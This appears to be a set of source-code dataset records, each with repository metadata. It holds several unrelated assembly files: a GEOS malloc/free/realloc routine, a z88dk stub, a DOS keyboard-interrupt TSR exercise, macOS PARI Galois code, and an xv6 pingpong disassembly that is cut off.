pop bx ;Unlock list of blocks
call MemUnlock ;
exit:
.leave
ret
AllocInSmallList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MemAllocFixed
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Just a front end to MemAlloc
CALLED BY: GLOBAL
PASS: ax - size of block to alloc
bx - owner of block
RETURN: ds - segment of block
+ rest of MemAlloc return values
DESTROYED: cx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MemAllocFixed proc near
mov cx, mask HF_FIXED or mask HF_SHARABLE
call MemAllocSetOwnerOrDefault
mov ds, ax
ret
MemAllocFixed endp
MemAllocSetOwnerOrDefault proc near
tst bx ;If an owner is passed in,
jnz setOwner ; then set the owner.
call MemAlloc ;Else, use current process
jmp exit
setOwner:
call MemAllocSetOwner ;Try to allocate memory
exit:
ret
MemAllocSetOwnerOrDefault endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
_Malloc
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine allocates fixed memory for C programs to use.
C DECLARATION:
extern void _far _pascal
*_Malloc(size_t blockSize, GeodeHandle geodeHan, word zeroInit)
NOTES: geodeHan can be 0, if you just want to use the current process'
malloc heap.
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/17/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MALLOC_LARGE_THRESHOLD equ 511
MALLOC_SMALL_BLOCK_SIZE equ 1024
LARGE_BLOCK_OFFSET equ size hptr
global _Malloc:far
_Malloc proc far blockSize:word, geodeHan:hptr, zinit:word
uses ds, di, si
.enter
mov cx, blockSize
EC < tst cx >
EC < ERROR_Z GEO_MALLOC_PASSED_SIZE_OF_ZERO >
; Mallocs of over MALLOC_LARGE_THRESHOLD should be put in their own
; fixed block.
cmp cx, MALLOC_LARGE_THRESHOLD
ja largeAlloc
; Scan through the list of fixed lmem blocks to allocate this
; small block.
mov bx, geodeHan
call AllocInSmallList ;Try to allocate in various blocks
; in small list (returns pointer in
; DS:AX).
jnc zinitAndExit ;Branch if successful
; Could not allocate in already existing lmem block, so allocate a new
; lmem block and allocate in it.
mov ax, MALLOC_SMALL_BLOCK_SIZE
mov bx, geodeHan
call MemAllocFixed ;Try to allocate new lmem block.
jc errRet ;If unsuccessful, branch to exit.
mov ax, LMEM_TYPE_GENERAL
mov dx, size LMemBlockHeader
mov di, mask LMF_NO_HANDLES or mask LMF_NO_ENLARGE or mask LMF_RETURN_ERRORS
push bp
clr bp
call LMemInitHeap
pop bp
; Allocate a new chunk on the just-allocated lmem heap.
mov cx, blockSize
call LMemAlloc
EC < ERROR_C COULD_NOT_ALLOC_BLOCK_WHEN_THERE_SHOULD_BE_ROOM_FOR_IT >
clr di
jmp mallocCommon ;Branch to add block to list, and
; to return pointer to block
largeAlloc:
; Allocate a fixed block on the heap with the handle of the block at the
; start, and the remainder of the block to be returned for use by the
; caller.
add cx, LARGE_BLOCK_OFFSET ;These blocks have the handle of the
xchg ax, cx ; block at the start. Put size in AX.
mov bx, geodeHan
call MemAllocFixed ;
jc errRet ;If we couldn't, branch
mov dx, bx ;DX <- handle of new block
mov ds:[0], bx ;Save handle of block
mov di, 2 ;DI <- offset to handle of block
; containing list of large data blocks
; (in the GeodePrivData area reserved
; for the malloc routines).
mov ax, LARGE_BLOCK_OFFSET ;DS:AX <- pointer to data just alloc'd
mallocCommon:
; Get the offset to the GeodePriv area reserved for the malloc routines.
push ds
NOFXIP< segmov ds, <segment udata>, bx >
FXIP < mov bx, handle dgroup >
FXIP < call MemDerefDS ; ds = dgroup >
add di, ds:[mallocOffset] ;
pop ds
mov bx, geodeHan ;
call AddHandleToMallocList ;Add handle at DS:0 to malloc list
jc freeError ;If couldn't add to list, branch and
; exit.
zinitAndExit: ;
mov dx, ds ;DX:AX <- pointer to data
tst zinit ;If no zero-init desired, just branch
jz exit
push es, ax
mov es, dx ;ES:DI <- pointer to block
xchg di, ax
clr ax
mov cx, blockSize
shr cx, 1
jnc 80$
stosb
80$:
rep stosw
pop es, ax ;DX:AX <- pointer to block
exit:
.leave
ret
freeError:
mov bx, dx ;Free up the block
call MemFree
errRet:
clr dx
clr ax
jmp exit
_Malloc endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
_Free
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Frees up a block previously returned from _Malloc.
CALLED BY: GLOBAL
C DECLARATION:
extern void _far _pascal _Free(void *blockPtr, GeodeHandle geodeHan);
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
global _Free:far
_Free proc far blockPtr:fptr, geodeHan:hptr
uses ds, di, si
.enter
EC < tst blockPtr.high >
EC < ERROR_Z NULL_PTR_PASSED_TO_GEO_FREE >
cmp blockPtr.low, LARGE_BLOCK_OFFSET
jne smallBlockFree
; The free block was large (allocated as a single block on the global
; heap). Remove the block from the list, and free it up.
NOFXIP< segmov ds, <segment udata>, di >
FXIP < mov bx, handle dgroup >
FXIP < call MemDerefDS ; ds = dgroup >
mov di, ds:[mallocOffset] ;DI <- ptr to handle of large
add di, 2 ; block list in GeodePrivData
freeAndRemoveBlock:
mov bx, geodeHan ;
mov ds, blockPtr.segment
call RemoveHandleFromMallocList ;
mov bx, ds:[0]
call MemFree ;Free up the handle
jmp exit
smallBlockFree:
lds ax, blockPtr ;If small block, just free
call LMemFree ; up the chunk. We never
; return this memory to the
; global heap.
; If the block is now empty, free it.
cmp ds:[LMBH_totalFree], MALLOC_SMALL_BLOCK_SIZE - size LMemBlockHeader
jne exit ; Branch if block is non-empty
push ds
NOFXIP< segmov ds, <segment udata>, di >
FXIP < mov bx, handle dgroup >
FXIP < call MemDerefDS ; ds = dgroup >
mov di, ds:[mallocOffset] ;DI <- ptr to handle of small
pop ds ; block list in GeodePrivData
EC < mov bx, geodeHan ; >
EC < call ECCountFreeBlocksOnMallocList ; >
EC < cmp dx, 2 ; >
EC < ERROR_A MORE_THAN_ONE_FREE_MALLOC_BLOCK >
jmp freeAndRemoveBlock
exit:
.leave
ret
_Free endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
_ReAlloc
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: ReAllocates a previously _Malloc'd block of memory.
CALLED BY: GLOBAL
C DECLARATION: extern void _far _pascal
*_ReAlloc(void *blockPtr, size_t newSize, GeodeHandle geodeHan);
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
*
* 1) If the space is resized larger, new space is *not* zero-initialized.
*
* 2) If realloc() is called to resize the memory *smaller*, it will
* always succeed.
*
* 3) If realloc() does not succeed, it will return NULL, and the original
* memory block will be unaffected.
*
* 4) If the passed blockPtr is NULL, realloc() acts like malloc().
*
* 5) If the passed newSize is 0, the passed blockPtr is freed, and
* NULL is returned.
*
* 6) The block *may* move.
*
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
global _ReAlloc:far
_ReAlloc proc far blockPtr:fptr, newSize:word, geodeHan:hptr
uses ds
.enter
; Handle special goofy cases (null size or block ptr passed in)
mov cx, newSize
tst blockPtr.high ;If null block ptr, pass off to malloc()
jz doMalloc ;
jcxz doFree ;If zero new size, pass off to free()
mov ds, blockPtr.high
cmp blockPtr.low, LARGE_BLOCK_OFFSET;If large block, use
je largeBlockReAlloc ; appropriate realloc method
; If this is a "small" block, then try to LMemReAlloc it. If that fails,
; then try malloc-ing a new block, and copying the data over.
mov ax, blockPtr.low ;DS:AX <- ptr to block
call LMemReAlloc ;
mov dx, ds ;DX:AX <- ptr to block
if 0
jc 20$ ;Error
; Copy data from blockptr to new chunk and delete blockptr.
; LMemRealloc does not always resize blockptr, instead it may
; allocate a new chunk.
;
cmp ax, blockPtr.low
je exit ;No new chunk, so done
push es, di, si
jmp 30$ ;Copy and delete.
else
;
; For LMF_NO_HANDLES, if LMemReAlloc has to allocate a new chunk, it will
; copy over the data itself and delete the old chunk, so we don't need to
; do this -- brianc 11/17/98 (yes, '98)
;
jnc exit
endif
; Simple allocation failed. malloc() new block and copy the data over.
20$:
push es, di, si
push newSize
push geodeHan
clr ax
push ax
call _Malloc
tst dx ;If malloc failed, branch
jz mallocFailed
; Copy the data from the old block into the newly alloc'd block.
30$:
mov si, blockPtr.low ;DS:SI <- ptr to original block
ChunkSizePtr ds, si, cx ;CX <- size of original block (data to
; copy over).
EC < cmp cx, newSize >
EC < ERROR_AE LMEM_REALLOC_FAILED_WHEN_MAKING_CHUNK_SMALLER >
mov es, dx
mov di, ax
shr cx, 1
jnc 10$
movsb
10$:
rep movsw
; Free the old block up.
push dx, ax
push blockPtr.high
push blockPtr.low
push geodeHan
call _Free
pop dx, ax
mallocFailed:
pop es, di, si
exit:
.leave
ret
doFree:
push blockPtr.high
push blockPtr.low
push geodeHan
call _Free
jmp clrRet
doMalloc:
EC < tst blockPtr.low >
EC < ERROR_NZ INVALID_PTR_PASSED_TO_GEO_REALLOC >
push cx ; newSize
push geodeHan
clr ax ;Do not zero init
push ax
call _Malloc
jmp exit
; For large blocks, the data lies in a global memory block by itself.
; Just call MemReAlloc routine.
largeBlockReAlloc:
mov ds, blockPtr.high
mov_tr ax, cx
add ax, LARGE_BLOCK_OFFSET
clr ch
mov bx, ds:[0] ;ReAllocate the block
call MemReAlloc
xchg dx, ax ;DX <- segment of fixed block
mov ax, LARGE_BLOCK_OFFSET ;DX:AX <- ptr to large block
jnc exit ;If no error in the realloc, branch
clrRet:
clr ax, dx
jmp exit
_ReAlloc endp
;RESIDENT ends
MAINCODE ends
| 26.97318 | 79 | 0.626515 |
2267ade5c2fc2944718434b3b93ab4f12d1de1b1 | 113 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/___schar2fs.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/___schar2fs.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/___schar2fs.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | null | null | null |
SECTION code_fp_math32
PUBLIC ___schar2fs
EXTERN cm32_sdcc___schar2fs
defc ___schar2fs = cm32_sdcc___schar2fs
| 14.125 | 39 | 0.876106 |
3f7fa506bb96689881184178944e18d60910880a | 3,803 | asm | Assembly | asm/6.asm | Azmalent/itmo3 | 19d91a3477efbbb6b8a36c46fbc5f4adb3469811 | [
"WTFPL"
] | null | null | null | asm/6.asm | Azmalent/itmo3 | 19d91a3477efbbb6b8a36c46fbc5f4adb3469811 | [
"WTFPL"
] | null | null | null | asm/6.asm | Azmalent/itmo3 | 19d91a3477efbbb6b8a36c46fbc5f4adb3469811 | [
"WTFPL"
] | null | null | null | ; Перехватывается прерывание 09H (клавиатура), горячая клавиша: <Alt>+<S>.
; Действие резидентной части программы: записать определённую последовательность символов в буфер клавиатуры (в области данных BIOS).
; Последовательность символов задаётся в строке параметров программы.
.model tiny
.code
org 100h
main:
jmp setup
installMessage db 'Program was started. Input your keystroke sequence and press Enter.', 10, 13, '$'
hotkeyInfoMessage db 'Press Alt+S to set keyboard buffer text or Alt+Q to terminate.', '$'
runningMessage db 'Program is already running. Press Alt+S to set keyboard buffer text or Alt+Q to terminate.', 10, 13, '$'
terminateMessage db 10, 13, 'Program was terminated.', 10, 13, '$'
systemHandler dd 00000000h
buffer dw 128 dup('$')
count dw 0
SCANCODE_Q equ 10h
SCANCODE_S equ 1Fh
ALT_PRESSED_MASK equ 0001000b
REPLACED_INTERRUPT equ 09h
print macro string:REQ
mov ax, cs
mov ds, ax
lea dx, string
mov ah, 09h
int 21h
endm
; резидентный обработчик
customHandler proc far uses ax cx di si ds es
; проверяем флаги клавиатуры
mov ah, 02h
int 16h
; вызываем системное прерывание, если альт не нажат
test al, ALT_PRESSED_MASK
jz invokeSystemInterrupt
; проверяем, нажаты ли S/Q
in al, 60h
cmp al, SCANCODE_Q
je terminate ; нажата Q - выход
cmp al, SCANCODE_S
je outputBuffer ; нажата S - вывод клавиш из буфера
jmp invokeSystemInterrupt ; вызываем системное прерывание
outputBuffer:
mov cx, cs:count
shr cx, 1
xor si, si
keystroke:
push cx
mov cx, cs:buffer[si]
mov ah, 05h
int 16h
add si, 2
pop cx
loop keystroke
jmp skipSystemInterrupt
; завершение программы
terminate:
; возвращаем старый обработчик в таблицу прерываний
mov ax, word ptr cs:systemHandler[2]
mov ds, ax
mov dx, word ptr cs:systemHandler
mov ax, 2509h
int 21h
; устанавливаем флаги
mov ax, 25FFh
mov dx, 0000h
int 21h
push es
; освобождаем окружение (PSP)
mov es, cs:2Ch
mov ah, 49h
int 21h
; удаляем резидент
push cs
pop es
mov ah, 49h
int 21h
pop es
; выводим сообщение об удалении
push ds
print cs:terminateMessage
pop ds
jmp skipSystemInterrupt
; вызываем системное прерывание
invokeSystemInterrupt:
pushf
call cs:systemHandler
jmp exit
; пропускаем системное прерывание
skipSystemInterrupt:
; устанавливаем 7 бит порта, а затем возвращаем его
in al, 61H
mov ah, al
or al, 80h
out 61H, al
xchg ah, al
out 61H, al
mov al, 20H ; \ отправляем сигнал завершения
out 20H, al ; / контроллеру прерываний
exit:
iret
customHandler endp
customHandlerEnd:
;==============================================================================
setup:
; получаем FF вектора прерываний
mov ax, 35FFh
int 21h
cmp bx, 0000h
jne running
install:
print installMessage
xor si, si
bufferInput:
; Считываем коды в AX
xor ah, ah
int 16h
; Если enter, завершаем
cmp al, 13
je endOfInput
; Записываем в буфер
mov buffer[si], ax
add si, 2
mov count, si
; mov cx, ax
; mov ah, 05h
; int 16h
jmp bufferInput
endOfInput:
print hotkeyInfoMessage
; устанавливаем вектор прерывания
mov ax, 25FFh
mov dx, 0001h ; адрес резидентного обработчика
int 21h
; получаем системный адрес прерываний
mov ah, 35h
mov al, REPLACED_INTERRUPT
int 21h
mov word ptr cs:systemHandler, bx
mov word ptr cs:systemHandler+2, es
; установка вектора прерываний
mov ah, 25h
mov al, REPLACED_INTERRUPT
lea dx, customHandler
int 21h
; завершиться и остаться резидентным
mov dx, offset customHandler - offset customHandlerEnd
mov cl, 4
shr dx, cl
inc dx
mov ax, 3100h ; код выхода 0
int 21h
running:
print runningMessage
mov ax, 4C00h
int 21h
end main | 19.603093 | 134 | 0.697344 |
c9aa09dca6bfa4d580353ede0177bda07d11dd5a | 6,460 | asm | Assembly | non_regression/switch_x64_macosx_3.s.asm | LRGH/plasmasm | 4cd50546c3dc895763d72dd60b7c46179c1916bc | [
"Apache-2.0"
] | 1 | 2021-02-28T21:31:18.000Z | 2021-02-28T21:31:18.000Z | non_regression/switch_x64_macosx_3.s.asm | LRGH/plasmasm | 4cd50546c3dc895763d72dd60b7c46179c1916bc | [
"Apache-2.0"
] | null | null | null | non_regression/switch_x64_macosx_3.s.asm | LRGH/plasmasm | 4cd50546c3dc895763d72dd60b7c46179c1916bc | [
"Apache-2.0"
] | null | null | null | .macosx_version_min 10, 12
.section __TEXT,__literal8,8byte_literals
.align 3
LCPI0_0:
.quad 4619567317775286272
LCPI0_1:
.quad 4584664420663164928
# ----------------------
.section __TEXT,__text,regular,pure_instructions
.align 4, 0x90
.globl _polgalois
_polgalois:
pushq %rbp
Ltmp0:
pushq %r15
Ltmp1:
pushq %r14
Ltmp2:
pushq %r13
Ltmp3:
pushq %r12
Ltmp4:
pushq %rbx
Ltmp5:
subq $120, %rsp
Ltmp6:
Ltmp7:
Ltmp8:
Ltmp9:
Ltmp10:
Ltmp11:
Ltmp12:
movq %rdi, %r13
movq _avma@GOTPCREL(%rip), %r15
movq (%r15), %rax
movq %rax, (%rsp)
movl $16777215, %ebx
andq (%r13), %rbx
movq %rbx, %rax
addq $-3, %rax
movq %rax, 8(%rsp)
jg LBB0_2
leaq L_.str(%rip), %rsi
movl $21, %edi
xorl %eax, %eax
call _pari_err
LBB0_2:
movq %r13, %rdi
call _ZX_is_irred
testq %rax, %rax
jne LBB0_4
leaq L_.str1(%rip), %rsi
movl $7, %edi
xorl %eax, %eax
call _pari_err
LBB0_4:
movq _LOG2@GOTPCREL(%rip), %rax
movsd LCPI0_0(%rip), %xmm0
divsd (%rax), %xmm0
mulsd LCPI0_1(%rip), %xmm0
movsd %xmm0, 16(%rsp)
addq $-7, %rbx
movq %rbx, 24(%rsp)
leaq LJTI0_0(%rip), %rax
movslq (%rax,%rbx,4), %rcx
addq %rax, %rcx
movq %rcx, 32(%rsp)
movq _bot@GOTPCREL(%rip), %r12
jmp LBB0_5
.align 4, 0x90
LBB0_40:
movq $0, (%r15)
xorl %edi, %edi
call _tschirnhaus
movq %rax, %r13
LBB0_5:
movq %r13, 48(%rsp)
movq %r13, %rdi
call _cauchy_bound
cmpq $3, %rbx
ja LBB0_40
jmp *32(%rsp)
LBB0_7:
movsd %xmm0, 104(%rsp)
movq (%r15), %rax
leaq -56(%rax), %rbx
subq (%r12), %rax
cmpq $55, %rax
ja LBB0_9
movl $14, %edi
xorl %eax, %eax
call _pari_err
LBB0_9:
movq %rbx, (%r15)
movq $570425351, (%rbx)
movq %r14, %rdi
call _ZX_factor
movq 8(%rax), %rcx
movq (%rcx), %rax
movl $16777215, %edx
andq %rdx, %rax
cmpq $4, %rax
je LBB0_17
cmpq $3, %rax
je LBB0_16
cmpq $2, %rax
je LBB0_12
movl $2, %edi
xorl %eax, %eax
leaq L_.str2(%rip), %rsi
call _pari_err
movsd 104(%rsp), %xmm0
LBB0_21:
movq (%r15), %rax
leaq -56(%rax), %rbx
subq (%r12), %rax
cmpq $55, %rax
ja LBB0_23
movl $14, %edi
xorl %eax, %eax
movsd %xmm0, 104(%rsp)
call _pari_err
movsd 104(%rsp), %xmm0
LBB0_23:
movq %rbx, (%r15)
movq $570425351, (%rbx)
LBB0_24:
movq (%r15), %rax
leaq -56(%rax), %rbx
subq (%r12), %rax
cmpq $55, %rax
ja LBB0_26
movl $14, %edi
xorl %eax, %eax
movsd %xmm0, 104(%rsp)
call _pari_err
movsd 104(%rsp), %xmm0
LBB0_26:
movq %rbx, (%r15)
movq $570425351, (%rbx)
LBB0_27:
movq (%r15), %rbp
leaq -288(%rbp), %rbx
movq %rbp, %rax
subq (%r12), %rax
cmpq $287, %rax
ja LBB0_29
movl $14, %edi
xorl %eax, %eax
movsd %xmm0, 104(%rsp)
call _pari_err
movsd 104(%rsp), %xmm0
LBB0_29:
movq %rbx, (%r15)
movq %rbx, 40(%rsp)
movq $570425380, -288(%rbp)
mulsd 16(%rsp), %xmm0
cvttsd2si %xmm0, %rsi
addq $3, %rsi
addq $-280, %rbp
movq %rbp, 80(%rsp)
jmp LBB0_30
.align 4, 0x90
LBB0_41:
movq 56(%rsp), %rsi
leaq -2(%rsi,%rsi), %rsi
movq 48(%rsp), %r13
LBB0_30:
movq %rsi, 56(%rsp)
movq %r13, %rdi
call _cleanroots
movq %rax, %r15
movq %r15, 88(%rsp)
movl $5, %r13d
movl $1, %ecx
xorl %r14d, %r14d
.align 4, 0x90
LBB0_32:
movq %r13, 72(%rsp)
movq %rcx, 96(%rsp)
leaq 1(%rcx), %r12
movq %r12, 64(%rsp)
.align 4, 0x90
LBB0_34:
incq %r13
movq 96(%rsp), %rbp
.align 4, 0x90
LBB0_35:
movq (%r15,%rbp,8), %rdi
movq (%r15,%r12,8), %rsi
call _gadd
movq %rax, %rbx
incq %r12
decq %r13
cmpq $7, %r12
jg LBB0_35
movq %r14, 104(%rsp)
movq 80(%rsp), %rax
leaq (%rax,%r14,8), %r14
leaq (%r15,%r12,8), %rbp
movq $-8, %r15
.align 4, 0x90
LBB0_37:
movq 64(%rbp,%r15,8), %rsi
movq %rbx, %rdi
call _gadd
movq %rax, 64(%r14,%r15,8)
incq %r15
movq %r12, %rax
addq %r15, %rax
jne LBB0_37
movq 104(%rsp), %r14
addq %r13, %r14
decq %r13
cmpq $7, %r12
movq 88(%rsp), %r15
jne LBB0_34
movq 72(%rsp), %r13
decq %r13
movq 64(%rsp), %rcx
cmpq $6, %rcx
jne LBB0_32
movq 40(%rsp), %rdi
leaq 112(%rsp), %rsi
call _roots_to_ZX
movq %rax, %r14
cmpq $-9, 112(%rsp)
jge LBB0_41
movq _avma@GOTPCREL(%rip), %rbp
movq %rbp, %r15
movq 24(%rsp), %rbx
movq _bot@GOTPCREL(%rip), %r12
jmp LBB0_40
LBB0_17:
movq (%rsp), %rax
movq %rax, (%r15)
movq 8(%rcx), %rax
movl $16777215, %ecx
andq (%rax), %rcx
movl $4, %esi
cmpq $5, %rcx
jne LBB0_19
movl $1, %edx
movl $2, %ecx
jmp LBB0_14
LBB0_16:
movq (%rsp), %rax
movq %rax, (%r15)
movl $8, %esi
movq $-1, %rdx
movl $3, %ecx
jmp LBB0_14
LBB0_19:
movq $-1, %rdx
movl $1, %ecx
LBB0_14:
movq 8(%rsp), %rdi
call _galois_res
addq $120, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
ret
LBB0_12:
movq %r13, %rdi
call _ZX_disc
xorl %esi, %esi
movq %rax, %rdi
call _Z_issquareall
movq (%rsp), %rcx
movq %rcx, (%r15)
testq %rax, %rax
je LBB0_15
movl $12, %esi
movl $1, %edx
movl $4, %ecx
jmp LBB0_14
LBB0_15:
movl $24, %esi
movq $-1, %rdx
movl $5, %ecx
jmp LBB0_14
.align 2, 0x90
LJTI0_0:
.long L0_0_set_7
.long L0_0_set_21
.long L0_0_set_24
.long L0_0_set_27
# ----------------------
.section __TEXT,__cstring,cstring_literals
L_.str:
.asciz "galois"
L_.str1:
.asciz "galois of reducible polynomial"
L_.str2:
.asciz "galois (bug1)"
# ----------------------
.set L0_0_set_7,LBB0_7-LJTI0_0
.set L0_0_set_21,LBB0_21-LJTI0_0
.set L0_0_set_24,LBB0_24-LJTI0_0
.set L0_0_set_27,LBB0_27-LJTI0_0
.subsections_via_symbols
| 21.042345 | 55 | 0.518885 |
3f570c4bc2c9bf8d345b327b55ccdb323f680c0b | 44,077 | asm | Assembly | user/pingpong.asm | xwOvO/xv6-labs-2020 | 55f2f45d7e515aceef0145d84599886501d2fe73 | [
"MIT-0"
] | null | null | null | user/pingpong.asm | xwOvO/xv6-labs-2020 | 55f2f45d7e515aceef0145d84599886501d2fe73 | [
"MIT-0"
] | null | null | null | user/pingpong.asm | xwOvO/xv6-labs-2020 | 55f2f45d7e515aceef0145d84599886501d2fe73 | [
"MIT-0"
] | null | null | null |
user/_pingpong: file format elf64-littleriscv
Disassembly of section .text:
0000000000000000 <main>:
//pingpong.c
#include "kernel/types.h"
#include "user/user.h"
int main(void){
0: 7179 addi sp,sp,-48
2: f406 sd ra,40(sp)
4: f022 sd s0,32(sp)
6: 1800 addi s0,sp,48
char byte = 'a';
8: 06100793 li a5,97
c: fef407a3 sb a5,-17(s0)
int p1[2],p2[2];
pipe(p1);
10: fe040513 addi a0,s0,-32
14: 00000097 auipc ra,0x0
18: 414080e7 jalr 1044(ra) # 428 <pipe>
pipe(p2);
1c: fd840513 addi a0,s0,-40
20: 00000097 auipc ra,0x0
24: 408080e7 jalr 1032(ra) # 428 <pipe>
if(fork()==0){
28: 00000097 auipc ra,0x0
2c: 3e8080e7 jalr 1000(ra) # 410 <fork>
30: ed4d bnez a0,ea <main+0xea>
close(p1[1]);
32: fe442503 lw a0,-28(s0)
36: 00000097 auipc ra,0x0
3a: 40a080e7 jalr 1034(ra) # 440 <close>
close(p2[0]);
3e: fd842503 lw a0,-40(s0)
42: 00000097 auipc ra,0x0
46: 3fe080e7 jalr 1022(ra) # 440 <close>
if(read(p1[0],&byte,sizeof(byte))!=sizeof(byte)){
4a: 4605 li a2,1
4c: fef40593 addi a1,s0,-17
50: fe042503 lw a0,-32(s0)
54: 00000097 auipc ra,0x0
58: 3dc080e7 jalr 988(ra) # 430 <read>
5c: 4785 li a5,1
5e: 00f50f63 beq a0,a5,7c <main+0x7c>
printf("child process read fail!\n");
62: 00001517 auipc a0,0x1
66: 8d650513 addi a0,a0,-1834 # 938 <malloc+0xea>
6a: 00000097 auipc ra,0x0
6e: 726080e7 jalr 1830(ra) # 790 <printf>
exit(1);
72: 4505 li a0,1
74: 00000097 auipc ra,0x0
78: 3a4080e7 jalr 932(ra) # 418 <exit>
}
close(p1[0]);
7c: fe042503 lw a0,-32(s0)
80: 00000097 auipc ra,0x0
84: 3c0080e7 jalr 960(ra) # 440 <close>
printf("%d: received ping\n",getpid());
88: 00000097 auipc ra,0x0
8c: 410080e7 jalr 1040(ra) # 498 <getpid>
90: 85aa mv a1,a0
92: 00001517 auipc a0,0x1
96: 8c650513 addi a0,a0,-1850 # 958 <malloc+0x10a>
9a: 00000097 auipc ra,0x0
9e: 6f6080e7 jalr 1782(ra) # 790 <printf>
if(write(p2[1],&byte,sizeof(byte))!=sizeof(byte)){
a2: 4605 li a2,1
a4: fef40593 addi a1,s0,-17
a8: fdc42503 lw a0,-36(s0)
ac: 00000097 auipc ra,0x0
b0: 38c080e7 jalr 908(ra) # 438 <write>
b4: 4785 li a5,1
b6: 00f50f63 beq a0,a5,d4 <main+0xd4>
printf("child process write fail!\n");
ba: 00001517 auipc a0,0x1
be: 8b650513 addi a0,a0,-1866 # 970 <malloc+0x122>
c2: 00000097 auipc ra,0x0
c6: 6ce080e7 jalr 1742(ra) # 790 <printf>
exit(1);
ca: 4505 li a0,1
cc: 00000097 auipc ra,0x0
d0: 34c080e7 jalr 844(ra) # 418 <exit>
}
close(p2[1]);
d4: fdc42503 lw a0,-36(s0)
d8: 00000097 auipc ra,0x0
dc: 368080e7 jalr 872(ra) # 440 <close>
exit(0);
e0: 4501 li a0,0
e2: 00000097 auipc ra,0x0
e6: 336080e7 jalr 822(ra) # 418 <exit>
}else{
close(p1[0]);
ea: fe042503 lw a0,-32(s0)
ee: 00000097 auipc ra,0x0
f2: 352080e7 jalr 850(ra) # 440 <close>
close(p2[1]);
f6: fdc42503 lw a0,-36(s0)
fa: 00000097 auipc ra,0x0
fe: 346080e7 jalr 838(ra) # 440 <close>
if(write(p1[1],&byte,sizeof(byte))!=sizeof(byte)){
102: 4605 li a2,1
104: fef40593 addi a1,s0,-17
108: fe442503 lw a0,-28(s0)
10c: 00000097 auipc ra,0x0
110: 32c080e7 jalr 812(ra) # 438 <write>
114: 4785 li a5,1
116: 00f50f63 beq a0,a5,134 <main+0x134>
printf("parent process write fail!\n");
11a: 00001517 auipc a0,0x1
11e: 87650513 addi a0,a0,-1930 # 990 <malloc+0x142>
122: 00000097 auipc ra,0x0
126: 66e080e7 jalr 1646(ra) # 790 <printf>
exit(1);
12a: 4505 li a0,1
12c: 00000097 auipc ra,0x0
130: 2ec080e7 jalr 748(ra) # 418 <exit>
}
close(p1[1]);
134: fe442503 lw a0,-28(s0)
138: 00000097 auipc ra,0x0
13c: 308080e7 jalr 776(ra) # 440 <close>
if(read(p2[0],&byte,sizeof(byte))!=sizeof(byte)){
140: 4605 li a2,1
142: fef40593 addi a1,s0,-17
146: fd842503 lw a0,-40(s0)
14a: 00000097 auipc ra,0x0
14e: 2e6080e7 jalr 742(ra) # 430 <read>
152: 4785 li a5,1
154: 00f50f63 beq a0,a5,172 <main+0x172>
printf("parent process read fail!\n");
158: 00001517 auipc a0,0x1
15c: 85850513 addi a0,a0,-1960 # 9b0 <malloc+0x162>
160: 00000097 auipc ra,0x0
164: 630080e7 jalr 1584(ra) # 790 <printf>
exit(1);
168: 4505 li a0,1
16a: 00000097 auipc ra,0x0
16e: 2ae080e7 jalr 686(ra) # 418 <exit>
}
close(p2[0]);
172: fd842503 lw a0,-40(s0)
176: 00000097 auipc ra,0x0
17a: 2ca080e7 jalr 714(ra) # 440 <close>
printf("%d: received pong\n",getpid());
17e: 00000097 auipc ra,0x0
182: 31a080e7 jalr 794(ra) # 498 <getpid>
186: 85aa mv a1,a0
188: 00001517 auipc a0,0x1
